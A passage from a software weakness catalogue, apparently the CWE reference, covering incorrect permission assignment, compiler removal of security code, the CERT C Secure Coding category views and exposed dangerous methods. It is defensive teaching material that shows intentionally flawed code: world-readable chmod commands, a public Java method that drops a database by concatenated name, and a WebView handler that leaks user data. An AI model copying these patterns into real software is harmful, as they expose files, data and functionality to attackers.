This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

*Result*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

#### Example 4:

The following command recursively sets world-readable permissions for a directory and all of its children:

#### Shell Example:

*Bad Code*

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

#### Observed Examples

Reference	Description
CVE-2001-0006	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity.
CVE-2002-0969	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions.
CVE-2004-1714	Security product uses "Everyone: Full Control" permissions for its configuration files.
CVE-2005-4868	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.
CVE-2007-5544	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session.
CVE-2007-6033	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution.
CVE-2008-0322	Driver installs its device interface with "Everyone: Write" permissions.
CVE-2008-0662	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials.
CVE-2009-0115	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands.
CVE-2009-0141	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users.
CVE-2009-1073	LDAP server stores a cleartext password in a world-readable file.
CVE-2009-3289	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions.
CVE-2009-3482	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses.
CVE-2009-3489	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM.
CVE-2009-3611	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups.
CVE-2009-3897	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication.
CVE-2009-3939	Driver installs a file with world-writable permissions.

#### Potential Mitigations

**Implementation**

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [R.732.1], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

**Architecture and Design****Moderate**

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [R.732.2]

This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

**Architecture and Design****Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

**Implementation****Installation****High**

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

**System Configuration****High**

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

**Documentation**

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

**Installation**

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

**Operation****System Configuration****Environment Hardening**

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [R.732.4] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	699	488
ChildOf	C	285	Improper Authorization	1000	501
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	C	753	2009 Top 25 - Porous Defenses	750	1143
ChildOf	C	803	2010 Top 25 - Porous Defenses	800	1229
ChildOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1247
ChildOf	C	840	Business Logic Errors	699	1283
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	844	1297
ChildOf	C	860	CERT Java Secure Coding Section 15 - Runtime Environment (ENV)	844	1298
ChildOf	C	866	2011 Top 25 - Porous Defenses	900	1309
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1371
ParentOf	V	276	<i>Incorrect Default Permissions</i>	1000	490
ParentOf	V	277	<i>Insecure Inherited Permissions</i>	1000	492
ParentOf	V	278	<i>Insecure Preserved Inherited Permissions</i>	1000	493
ParentOf	V	279	<i>Incorrect Execution-Assigned Permissions</i>	1000	494
ParentOf	B	281	<i>Improper Preservation of Permissions</i>	1000	496
ParentOf	⚙	689	<i>Permission Race Condition During Resource Copy</i>	1000	1070
RequiredBy	⚙	689	<i>Permission Race Condition During Resource Copy</i>	1000	1070
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	FIO03-J	Create files with appropriate access permission
CERT Java Secure Coding	SEC01-J	Do not allow tainted variables in privileged blocks
CERT Java Secure Coding	ENV03-J	Do not grant dangerous combinations of permissions
CERT C++ Secure Coding	FIO06-CPP	Create files with appropriate access permissions
CERT C Secure Coding	FIO06-C	Create files with appropriate access permissions

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
1	Accessing Functionality Not Properly Constrained by ACLs	
17	Accessing, Modifying or Executing Executable Files	
60	Reusing Session IDs (aka Session Replay)	
61	Session Fixation	
62	Cross Site Request Forgery (aka Session Riding)	
122	Privilege Abuse	
127	Directory Indexing	
180	Exploiting Incorrectly Configured Access Control Security Levels	
232	Exploitation of Authorization	
234	Hijacking a privileged process	

## References

- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "File Permissions." Page 495.. 1st Edition. Addison Wesley. 2006.
- [REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". Chapter 8, "Access Control." Page 194.. 1st Edition. Addison-Wesley. 2002.

Jason Lam. "Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response". SANS Software Security Institute. 2010-03-24. < <http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response> >.  
 [REF-24] NIST. "Federal Desktop Core Configuration". < <http://nvd.nist.gov/fdcc/index.cfm> >.

### Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

## CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID: 733 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The developer builds a security-critical protection mechanism into the software but the compiler optimizes the program such that the mechanism is removed or modified.

### Applicable Platforms

#### Languages

- C (*Often*)
- C++ (*Often*)
- All Compiled Languages

### Common Consequences

#### Access Control

#### Other

#### Bypass protection mechanism

#### Other

### Detection Methods

#### Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.





#### White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

### Observed Examples

Reference	Description
CVE-2008-1685	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		435	Interaction Error	<b>1000</b>	748
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	1153
ChildOf		976	SFP Secondary Cluster: Compiler	<b>888</b>	1382
ParentOf		14	<i>Compiler Removal of Code to Clear Buffers</i>	<b>1000</b>	12

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
24	Filter Failure through Buffer Overflow	



CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
46	Overflow Variables and Tags	

## References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "A Compiler Optimization Caveat" Page 322. 2nd Edition. Microsoft. 2002.

# CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard

View ID: 734 (View: Graph)

Status: Incomplete

## Objective

CWE entries in this view (graph) are fully or partially eliminated by following the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

## View Data

### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>106</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	15	out of	244
<b>Weaknesses</b>	90	out of	719
<b>Compound Elements</b>	1	out of	8

## View Audience

### Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

### Software Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	735	CERT C Secure Coding Section 01 - Preprocessor (PRE)	<b>734</b>	1131
HasMember	<b>C</b>	736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)	<b>734</b>	1131
HasMember	<b>C</b>	737	CERT C Secure Coding Section 03 - Expressions (EXP)	<b>734</b>	1131
HasMember	<b>C</b>	738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
HasMember	<b>C</b>	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	<b>734</b>	1132
HasMember	<b>C</b>	740	CERT C Secure Coding Section 06 - Arrays (ARR)	<b>734</b>	1133
HasMember	<b>C</b>	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	<b>734</b>	1133
HasMember	<b>C</b>	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
HasMember	<b>C</b>	743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
HasMember	<b>C</b>	744	CERT C Secure Coding Section 10 - Environment (ENV)	<b>734</b>	1135
HasMember	<b>C</b>	745	CERT C Secure Coding Section 11 - Signals (SIG)	<b>734</b>	1136
HasMember	<b>C</b>	746	CERT C Secure Coding Section 12 - Error Handling (ERR)	<b>734</b>	1136
HasMember	<b>C</b>	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	<b>734</b>	1137
HasMember	<b>C</b>	748	CERT C Secure Coding Section 50 - POSIX (POS)	<b>734</b>	1137



## Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## References

"The CERT C Secure Coding Standard". Addison-Wesley Professional. 2008-10-14.

"The CERT C Secure Coding Standard". < <https://www.securecoding.cert.org/confluence/display/seccode/CERT+C+Secure+Coding+Standard> >.

# CWE-735: CERT C Secure Coding Section 01 - Preprocessor (PRE)


Category ID: 735 (Category) Status: Incomplete

## Description

### Summary

Weaknesses in this category are related to rules in the preprocessor section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf		684	Incorrect Provision of Specified Functionality	<input checked="" type="checkbox"/>	734 1065
MemberOf	<input checked="" type="checkbox"/>	734	Weaknesses Addressed by the CERT C Secure Coding Standard	<input checked="" type="checkbox"/>	734 1130

## References

CERT. "01. Preprocessor (PRE)". < <https://www.securecoding.cert.org/confluence/display/seccode/01.+Preprocessor+%28PRE%29> >.

# CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)




Category ID: 736 (Category) Status: Incomplete

## Description

### Summary

Weaknesses in this category are related to rules in the declarations and initialization section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf		547	Use of Hard-coded, Security-relevant Constants	<input checked="" type="checkbox"/>	734 885
ParentOf		628	Function Call with Incorrectly Specified Arguments	<input checked="" type="checkbox"/>	734 977
ParentOf		686	Function Call With Incorrect Argument Type	<input checked="" type="checkbox"/>	734 1066
MemberOf	<input checked="" type="checkbox"/>	734	Weaknesses Addressed by the CERT C Secure Coding Standard	<input checked="" type="checkbox"/>	734 1130

## References

CERT. "02. Declarations and Initialization (DCL)". < <https://www.securecoding.cert.org/confluence/display/seccode/02.+Declarations+and+Initialization+%28DCL%29> >.

# CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP)

Category ID: 737 (Category) Status: Incomplete

## Description

### Summary

Weaknesses in this category are related to rules in the expressions section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	467	Use of sizeof() on a Pointer Type	734	784
ParentOf	B	468	Incorrect Pointer Scaling	734	786
ParentOf	B	476	NULL Pointer Dereference	734	798
ParentOf	B	628	Function Call with Incorrectly Specified Arguments	734	977
ParentOf	C	704	Incorrect Type Conversion or Cast	734	1104
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130
ParentOf	V	783	Operator Precedence Logic Error	734	1200

#### References

CERT. "03. Expressions (EXP)". < <https://www.securecoding.cert.org/confluence/display/seccode/03.+Expressions+%28EXP%29> >.

## CWE-738: CERT C Secure Coding Section 04 - Integers (INT)

Category ID: 738 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to rules in the integers section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	20	Improper Input Validation	734	18
ParentOf	B	129	Improper Validation of Array Index	734	258
ParentOf	B	190	Integer Overflow or Wraparound	734	361
ParentOf	C	192	Integer Coercion Error	734	368
ParentOf	B	197	Numeric Truncation Error	734	381
ParentOf	B	369	Divide By Zero	734	647
ParentOf	B	466	Return of Pointer Value Outside of Expected Range	734	783
ParentOf	B	587	Assignment of a Fixed Address to a Pointer	734	927
ParentOf	B	606	Unchecked Input for Loop Condition	734	953
ParentOf	B	676	Use of Potentially Dangerous Function	734	1044
ParentOf	B	681	Incorrect Conversion between Numeric Types	734	1058
ParentOf	C	682	Incorrect Calculation	734	1060
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

#### References

CERT. "04. Integers (INT)". < <https://www.securecoding.cert.org/confluence/display/seccode/04.+Integers+%28INT%29> >.

## CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP)

Category ID: 739 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to rules in the floating point section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	369	Divide By Zero	734	647
ParentOf	B	681	Incorrect Conversion between Numeric Types	734	1058
ParentOf	G	682	Incorrect Calculation	734	1060
ParentOf	V	686	Function Call With Incorrect Argument Type	734	1066
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

#### References

CERT. "05. Floating Point (FLP)". < <https://www.securecoding.cert.org/confluence/display/seccode/05.+Floating+Point+%28FLP%29> >.

## CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR)

Category ID: 740 (Category)

Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to rules in the arrays section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	226
ParentOf	B	129	Improper Validation of Array Index	734	258
ParentOf	V	467	Use of sizeof() on a Pointer Type	734	784
ParentOf	B	469	Use of Pointer Subtraction to Determine Size	734	788
ParentOf	B	665	Improper Initialization	734	1027
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130
ParentOf	B	805	Buffer Access with Incorrect Length Value	734	1230

#### References

CERT. "06. Arrays (ARR)". < <https://www.securecoding.cert.org/confluence/display/seccode/06.+Arrays+%28ARR%29> >.

## CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR)

Category ID: 741 (Category)

Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to rules in the characters and strings section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	121
ParentOf	B	88	Argument Injection or Modification	734	155

Nature	Type	ID	Name	V	Page
ParentOf	<b>C</b>	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	226
ParentOf	<b>B</b>	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	734	234
ParentOf	<b>B</b>	135	Incorrect Calculation of Multi-Byte String Length	734	282
ParentOf	<b>B</b>	170	Improper Null Termination	734	328
ParentOf	<b>B</b>	193	Off-by-one Error	734	371
ParentOf	<b>B</b>	464	Addition of Data Structure Sentinel	734	781
ParentOf	<b>V</b>	686	Function Call With Incorrect Argument Type	734	1066
ParentOf	<b>C</b>	704	Incorrect Type Conversion or Cast	734	1104
MemberOf	<b>V</b>	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

### References

CERT. "07. Characters and Strings (STR)". < <https://www.securecoding.cert.org/confluence/display/seccode/07.+Characters+and+Strings+%28STR%29> >.

## CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM)

Category ID: 742 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the memory management section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	<b>C</b>	20	Improper Input Validation	734	18
ParentOf	<b>C</b>	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	226
ParentOf	<b>B</b>	128	Wrap-around Error	734	257
ParentOf	<b>B</b>	131	Incorrect Calculation of Buffer Size	734	269
ParentOf	<b>B</b>	190	Integer Overflow or Wraparound	734	361
ParentOf	<b>B</b>	226	Sensitive Information Uncleared Before Release	734	417
ParentOf	<b>V</b>	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	734	434
ParentOf	<b>B</b>	252	Unchecked Return Value	734	446
ParentOf	<b>V</b>	415	Double Free	734	716
ParentOf	<b>B</b>	416	Use After Free	734	719
ParentOf	<b>B</b>	476	NULL Pointer Dereference	734	798
ParentOf	<b>V</b>	528	Exposure of Core Dump File to an Unauthorized Control Sphere	734	869
ParentOf	<b>V</b>	590	Free of Memory not on the Heap	734	930
ParentOf	<b>V</b>	591	Sensitive Data Storage in Improperly Locked Memory	734	932
ParentOf	<b>B</b>	628	Function Call with Incorrectly Specified Arguments	734	977
ParentOf	<b>B</b>	665	Improper Initialization	734	1027
ParentOf	<b>V</b>	687	Function Call With Incorrectly Specified Argument Value	734	1067
MemberOf	<b>V</b>	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130
ParentOf	<b>C</b>	754	Improper Check for Unusual or Exceptional Conditions	734	1143

### References

CERT. "08. Memory Management (MEM)". < <https://www.securecoding.cert.org/confluence/display/seccode/08.+Memory+Management+%28MEM%29> >.

## CWE-743: CERT C Secure Coding Section 09 - Input Output (FIO)



























Category ID: 743 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the input/output section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	734	30
ParentOf		37	Path Traversal: '/absolute/pathname/here'	734	67
ParentOf		38	Path Traversal: '\absolute\pathname\here'	734	68
ParentOf		39	Path Traversal: 'C:dirname'	734	70
ParentOf		41	Improper Resolution of Path Equivalence	734	73
ParentOf		59	Improper Link Resolution Before File Access ('Link Following')	734	91
ParentOf		62	UNIX Hard Link	734	96
ParentOf		64	Windows Shortcut Following (.LNK)	734	98
ParentOf		65	Windows Hard Link	734	100
ParentOf		67	Improper Handling of Windows Device Names	734	103
ParentOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	226
ParentOf		134	Uncontrolled Format String	734	277
ParentOf		241	Improper Handling of Unexpected Data Type	734	430
ParentOf		276	Incorrect Default Permissions	734	490
ParentOf		279	Incorrect Execution-Assigned Permissions	734	494
ParentOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	734	627
ParentOf		367	Time-of-check Time-of-use (TOCTOU) Race Condition	734	642
ParentOf		379	Creation of Temporary File in Directory with Incorrect Permissions	734	659
ParentOf		391	Unchecked Error Condition	734	675
ParentOf		403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	734	697
ParentOf		404	Improper Resource Shutdown or Release	734	699
ParentOf		552	Files or Directories Accessible to External Parties	734	889
ParentOf		675	Duplicate Operations on Resource	734	1043
ParentOf		676	Use of Potentially Dangerous Function	734	1044
ParentOf		686	Function Call With Incorrect Argument Type	734	1066
ParentOf		732	Incorrect Permission Assignment for Critical Resource	734	1121
MemberOf	<input checked="" type="checkbox"/>	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

### References

CERT. "09. Input Output (FIO)". < <https://www.securecoding.cert.org/confluence/display/seccode/09.+Input+Output+%28FIO%29> >.

## CWE-744: CERT C Secure Coding Section 10 - Environment (ENV)

Category ID: 744 (Category)

Status: Incomplete

## Description

## Summary

Weaknesses in this category are related to rules in the environment section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection")	734	121
ParentOf	B	88	Argument Injection or Modification	734	155
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	226
ParentOf	3	426	Untrusted Search Path	734	729
ParentOf	B	462	Duplicate Key in Associative List (Alist)	734	779
ParentOf	C	705	Incorrect Control Flow Scoping	734	1105
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

## References

CERT. "10. Environment (ENV)". < <https://www.securecoding.cert.org/confluence/display/seccode/10.+Environment+%28ENV%29> >.

## CWE-745: CERT C Secure Coding Section 11 - Signals (SIG)

Category ID: 745 (Category)

Status: Incomplete

## Description

## Summary

Weaknesses in this category are related to rules in the signals section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	734	807
ParentOf	B	662	Improper Synchronization	734	1024
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

## References

CERT. "11. Signals (SIG)". < <https://www.securecoding.cert.org/confluence/display/seccode/11.+Signals+%28SIG%29> >.

## CWE-746: CERT C Secure Coding Section 12 - Error Handling (ERR)

Category ID: 746 (Category)

Status: Incomplete

## Description

## Summary

Weaknesses in this category are related to rules in the error handling section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

## Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	20	Improper Input Validation	734	18



Nature	Type	ID	Name	734	Page
ParentOf	B	391	Unchecked Error Condition	734	675
ParentOf	B	544	Missing Standardized Error Handling Mechanism	734	883
ParentOf	B	676	Use of Potentially Dangerous Function	734	1044
ParentOf	G	705	Incorrect Control Flow Scoping	734	1105
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

### References

CERT. "12. Error Handling (ERR)". < <https://www.securecoding.cert.org/confluence/display/seccode/12.+Error+Handling+%28ERR%29> >.

## CWE-747: CERT C Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 747 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the miscellaneous section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	734	Page
ParentOf	B	14	Compiler Removal of Code to Clear Buffers	734	12
ParentOf	G	20	Improper Input Validation	734	18
ParentOf	V	176	Improper Handling of Unicode Encoding	734	339
ParentOf	G	330	Use of Insufficiently Random Values	734	581
ParentOf	B	480	Use of Incorrect Operator	734	809
ParentOf	V	482	Comparing instead of Assigning	734	814
ParentOf	V	561	Dead Code	734	895
ParentOf	V	563	Assignment to Variable without Use ('Unused Variable')	734	899
ParentOf	V	570	Expression is Always False	734	906
ParentOf	V	571	Expression is Always True	734	908
ParentOf	G	697	Insufficient Comparison	734	1078
ParentOf	G	704	Incorrect Type Conversion or Cast	734	1104
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

### References

CERT. "49. Miscellaneous (MSC)". < <https://www.securecoding.cert.org/confluence/display/seccode/49.+Miscellaneous+%28MSC%29> >.

## CWE-748: CERT C Secure Coding Section 50 - POSIX (POS)

Category ID: 748 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the POSIX section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	734	Page
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	734	91
ParentOf	B	170	Improper Null Termination	734	328



Nature	Type	ID	Name	V	Page
ParentOf	B	242	Use of Inherently Dangerous Function	734	431
ParentOf	B	272	Least Privilege Violation	734	482
ParentOf	B	273	Improper Check for Dropped Privileges	734	485
ParentOf	B	363	Race Condition Enabling Link Following	734	633
ParentOf	B	365	Race Condition in Switch	734	639
ParentOf	B	366	Race Condition within a Thread	734	640
ParentOf	B	562	Return of Stack Variable Address	734	898
ParentOf	B	667	Improper Locking	734	1032
ParentOf	V	686	Function Call With Incorrect Argument Type	734	1066
ParentOf	C	696	Incorrect Behavior Order	734	1077
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	1130

### References

CERT. "50. POSIX (POS)". < <https://www.securecoding.cert.org/confluence/display/seccode/50.+POSIX+%28POS%29> >.

## CWE-749: Exposed Dangerous Method or Function

Weakness ID: 749 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

#### Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

- 1) The function/method was never intended to be exposed to outside actors.
- 2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-Independent

#### Common Consequences

##### Integrity

##### Confidentiality

##### Availability

##### Access Control

##### Other

##### Gain privileges / assume identity

##### Read application data

##### Modify application data

##### Execute unauthorized code or commands

##### Other

Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.

#### Likelihood of Exploit

Low to Medium

## Demonstrative Examples

### Example 1:

In the following Java example the method `removeDatabase` will delete the database with the name specified in the input parameter.

#### Java Example:

*Bad Code*

```
public void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

The method in this example is declared `public` and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method `private` thereby exposing it only to the enclosing class as in the following example.

#### Java Example:

*Good Code*

```
private void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

### Example 2:

These Android and iOS applications intercept URL loading within a `WebView` and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the `WebView` to communicate with the application:

#### Java Example:

*Bad Code*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if (url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

#### Objective-C Example:

*Bad Code*

```
// iOS
